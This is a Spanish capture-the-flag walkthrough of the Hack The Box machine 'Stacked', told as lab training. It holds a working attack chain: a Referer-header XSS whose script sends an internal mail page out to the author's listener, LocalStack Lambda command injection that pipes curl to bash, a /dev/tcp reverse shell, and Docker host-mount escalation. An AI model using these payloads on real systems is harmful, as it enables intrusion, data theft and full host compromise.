Stacked



Conocimientos

  • Enumeración Web

  • Inyección XSS

  • Enumeración AWS

  • Enumeración Lambda

  • Creación de función Lambda customizada (NodeJS)

  • RCE en LockStack

  • Abuso de parámetro en nombre de función AWS

  • Abuso de Docker (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.112 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 17:04 GMT
Nmap scan report for 10.10.11.112
Host is up (0.063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2376/tcp open  docker

Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80,2376 10.10.11.112 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 17:05 GMT
Nmap scan report for 10.10.11.112
Host is up (0.40s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
|   256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_  256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
2376/tcp open  ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2022-08-17T15:41:56
|_Not valid after:  2025-05-12T15:41:56
Service Info: Host: stacked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.25 seconds

Añado el dominoi stacked.htb al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.112
http://10.10.11.112 [302 Found] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.112], RedirectLocation[http://stacked.htb/], Title[302 Found]
http://stacked.htb/ [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.112], JQuery, Meta-Author[FREEHTML5.CO], Modernizr[2.6.2.min], Open-Graph-Protocol, Script, Title[STACKED.HTB], X-UA-Compatible[IE=edge]

La página principal se ve así:

Aplico fuzzing para descubrir rutas

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://stacked.htb/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://stacked.htb/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000002:   301        9 L      28 W       311 Ch      "images"                                                                                                                                        
000000536:   301        9 L      28 W       308 Ch      "css"                                                                                                                                           
000002757:   301        9 L      28 W       310 Ch      "fonts"                                                                                                                                         
000045226:   200        158 L    394 W      5055 Ch     "http://stacked.htb/"  

Pero no encuentro nada de interés, así que paso a enumerar subdominios

wfuzz -c -t 200 --hw=26 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" http://stacked.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://stacked.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000001183:   200        444 L    1779 W     30268 Ch    "portfolio"                                                                                                                                     

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

Añado portfolio.stacked.htb al /etc/hosts y lo abro en el navegador

Puedo descargar un archivo

Corresponde a un archivo de docker-compose

wget http://portfolio.stacked.htb/files/docker-compose.yml
cat docker-compose.yml
version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

La versión de Lockstack es la 0.12.6. Busco por vulnerabilidades asociadas a esta. Según Snyk es vulnerable a RCE. Intercepto la petición de la sección de contacto

Envío y recibo una respuesta en JSON

POST /process.php HTTP/1.1
Host: portfolio.stacked.htb
Content-Length: 78
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://portfolio.stacked.htb
Referer: http://portfolio.stacked.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

fullname=test&email=test%40test.com&tel=123456789012&subject=test&message=test
HTTP/1.1 200 OK
Date: Fri, 16 Jun 2023 08:30:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/json; charset=utf8

{"success":"Your form has been submitted. Thank you!"}

Intento efectuar un XSS, pero salta una advertencia

fullname=<script src="http://10.10.16.6/test.js"></script>&email=test%40test.com&tel=123456789012&subject=test&message=test
{"success":false,"error":"XSS detected!"}

Con las etiquetas <img> puedo enviarlo sin problemas, pero no voy a recibir ninguna petición a mi equipo. Voy a introducir el payload en todas las cabeceras innecesarias

User-Agent: <script src="http://10.10.16.6/test.js"></script>
Origin: <script src="http://10.10.16.6/origin.js"></script>
Referer: <script src="http://10.10.16.6/referer.js"></script>

Una de ellas es vulnerable

nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.112] 54270
GET /referer.js HTTP/1.1
Host: 10.10.16.6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Connection: keep-alive

Además la dirección URL desde donde se tramitó, tiene un parámetro ?id que podría ser vulnerable a inyeccion SQL o LFI. El subdominio mail.stacked.htb no es accesible de mi lado. Puedo tratar de derivar el XSS a un CSRF para traerme el código fuente de esa página

Creo un archivo referer.js con lo siguiente:

var url = "http://mail.stacked.htb/";
var req1 = new XMLHttpRequest();

req1.open('GET', url, false);
req1.send();

var response = req1.responseText;

var req2 = new XMLHttpRequest();
req2.open('POST', "http://10.10.16.6:8000", false);
req2.send(response);

Lo hosteo con python por el puerto 80 y me quedo en escucha con netcat por el puerto 8000

nc -nlvp 8000 > index.html
listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.112] 34548

Todo el output está almacenado en index.html. Desde el navegador cargo su contenido

Al hacer hovering sobre los correos puedo ver que se se referencian por el identificador. Traigo el primero

Modifico en el script la variable de la URL

var url = "http://mail.stacked.htb/read-mail.php?id=1";

Y obtengo el contenido

curl -s -X GET localhost | html2text | tail -n 15 | head -n 4
Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can
configure the IAM users, roles and permissions. I have initialized a serverless
instance for you to work from but keep in mind for the time being you can only
run node instances. If you need anything let me know. Thanks.

Agrego el dominio s3-testing.stacked.htb al /etc/hosts. Le tramito una petición por GET

curl -s -X GET http://s3-testing.stacked.htb/ | jq
{
  "status": "running"
}

Miro las cabeceras de respuesta

curl -s -X GET http://s3-testing.stacked.htb/ -I
HTTP/1.1 404 
Date: Fri, 16 Jun 2023 09:07:49 GMT
Server: hypercorn-h11
content-type: text/html; charset=utf-8
content-length: 21
access-control-allow-origin: *
access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
access-control-expose-headers: x-amz-version-id

Se está empleando AWS. Puedo intentar crear una lambda function. Creo una configuración cualquiera

aws configure
AWS Access Key ID [****************6TDC]: test
AWS Secret Access Key [****************Fo1A]: test
Default region name [us-east-1]: 
Default output format [json]: 

En este artículo explican como crear una función

Y en la Documentación de Amazon dan un ejemplo en Node.js. La adapto para que, a modo de traza, devuelva una cadena de texto

exports.handler = async function (event, context) {
  return "Testing";
};

Lo comprimo en un ZIP

zip test.zip test.js
  adding: test.js (stored 0%)

Y creo la función

aws lambda create-function --endpoint-url="http://s3-testing.stacked.htb/" --function-name 'test' --runtime nodejs10.x --zip-file fileb://test.zip --handler test.handler --role testing
{
    "FunctionName": "test",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:test",
    "Runtime": "nodejs10.x",
    "Role": "testing",
    "Handler": "test.handler",
    "CodeSize": 239,
    "Description": "",
    "Timeout": 3,
    "LastModified": "2023-06-16T09:35:56.501+0000",
    "CodeSha256": "xhJJJinp4ytaVlsVk7Uc0GQMkOhHESbBN6emtnHR0Ag=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "3c4a0f81-ef24-4192-8441-efece9f64a02",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}

Ejecuto la función y almaceno su output en un archivo

aws lambda invoke --endpoint-url="http://s3-testing.stacked.htb/" --function-name 'test' output.txt
{
    "StatusCode": 200,
    "LogResult": "",
    "ExecutedVersion": "$LATEST"
}
cat output.txt
"Testing"

Para ejecutar comandos, hay que abusar del parámetro functionName, tal y como había visto en el CVE-2021-32090, pero solo se ejecutan a través del panel de Administración de LocalStack. Puedo abusar del XSS para que con document.location redirigir al usuario a una página concreta. En el docker-compose.yml había visto que el puerto 8080 es donde está montado a lo que quiero acceder

ports:
  - "127.0.0.1:443:443"
  - "127.0.0.1:4566:4566"
  - "127.0.0.1:4571:4571"
  - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"

Modifico la cabecera Referer para la ocasión

Referer: <script>document.location="http://127.0.0.1:8080"</script>

Inyecto el comando en la función Lambda

aws lambda create-function --endpoint-url="http://s3-testing.stacked.htb/" --function-name 'test; curl 10.10.16.6|bash' --runtime nodejs10.x --zip-file fileb://test.zip --handler test.handler --role testing

Creo un archivo index.html que se encargue de enviar una reverse shell

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'

Envío la petición de la sección de contacto para que se acontezca el XSS y al rato obtengo recibo la conexión en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.112] 35192
bash: cannot set terminal process group (21): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-5.0$ script /dev/null -c bash
script /dev/null -c bash
bash: script: command not found
bash-5.0$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm

Me cambio a una sh ya que la bash entra en conflicto. Estoy dentro de un contenedor

/opt/code/localstack $ ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6234 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5220 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:524621 (512.3 KiB)  TX bytes:5516271 (5.2 MiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:8454 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8454 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1059311 (1.0 MiB)  TX bytes:1059311 (1.0 MiB)

Puedo ver la primera flag

~ $ cat user.txt 
342a334294be29e200fb30783206754e

Escalada

Subo el pspy para detectar tareas que se ejecutan a intervalos regulares de tiempo. Creo de nuevo la función lambda y veo el comando que ejecuta root

2023/06/16 10:24:22 CMD: UID=0    PID=1473   | /bin/sh -c cd /tmp/localstack/zipfile.43027463; unzip -o -q /tmp/localstack/zipfile.43027463/original_lambda_archive.zip 

Después, la vuelvo a invocar

2023/06/16 10:25:35 CMD: UID=0    PID=1478   | docker create -i -e DOCKER_LAMBDA_USE_STDIN=1 -e LOCALSTACK_HOSTNAME=172.17.0.2 -e EDGE_PORT=4566 -e _HANDLER=test.handler -e AWS_LAMBDA_FUNCTION_TIMEOUT=3 -e AWS_LAMBDA_FUNCTION_NAME=test -e AWS_LAMBDA_FUNCTION_VERSION=$LATEST -e AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:test -e AWS_LAMBDA_COGNITO_IDENTITY={} -e NODE_TLS_REJECT_UNAUTHORIZED=0 --rm lambci/lambda:nodejs10.x test.handler 
2023/06/16 10:25:35 CMD: UID=0    PID=1477   | /bin/sh -c CONTAINER_ID="$(docker create -i   -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED"   --rm "lambci/lambda:nodejs10.x" "test.handler")";docker cp "/tmp/localstack/zipfile.43027463/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID"; 
2023/06/16 10:25:35 CMD: UID=0    PID=1484   | docker cp /tmp/localstack/zipfile.43027463/. 91f63f77d4c80cf07ccc625072b67d6323ef331fcc7ed74db5062daf477553b6:/var/task 

Al final de uno de ellos aparece test.handler, lo cual puedo controlar como input. Me envío una reverse shell

aws lambda create-function --endpoint-url="http://s3-testing.stacked.htb/" --function-name 'test' --runtime nodejs10.x --zip-file fileb://test.zip --handler '$(curl 10.10.16.6 | bash > /tmp/testing)' --role testing
aws lambda invoke --endpoint-url="http://s3-testing.stacked.htb/" --function-name 'test' output.txt

Gano acceso como root en el contenedor

/tmp $ ls -l /bin/bash
-rwsr-xr-x    1 root     root        735512 Nov 16  2019 /bin/bash

Gano acceso en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.112] 36564
bash: cannot set terminal process group (1770): Not a tty
bash: no job control in this shell
bash-5.0# script /dev/null -c sh 
script /dev/null -c sh
bash: script: command not found
bash-5.0# python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
/opt/code/localstack # ^[[11;24R^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm

Ahora puedo crear un contenedor que monte la raiz del sistema host y ver la segunda flag

/ # docker images
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
localstack/localstack-full   0.12.6              7085b5de9f7c        23 months ago       888MB
localstack/localstack-full   <none>              0601ea177088        2 years ago         882MB
lambci/lambda                nodejs12.x          22a4ada8399c        2 years ago         390MB
lambci/lambda                nodejs10.x          db93be728e7b        2 years ago         385MB
lambci/lambda                nodejs8.10          5754fee26e6e        2 years ago         813MB
/ # docker run -v /:/mnt --entrypoint bash -u root -it bfe18d661174

Ejecuto una ```bash en el contedor y puedo ver la segunda flag

/ # docker exec -it 35ab7d510ed0 bash
bash-5.0# cat /mnt/root/root.txt 
6cbba531ad385be20dabdbd4c2ae30c2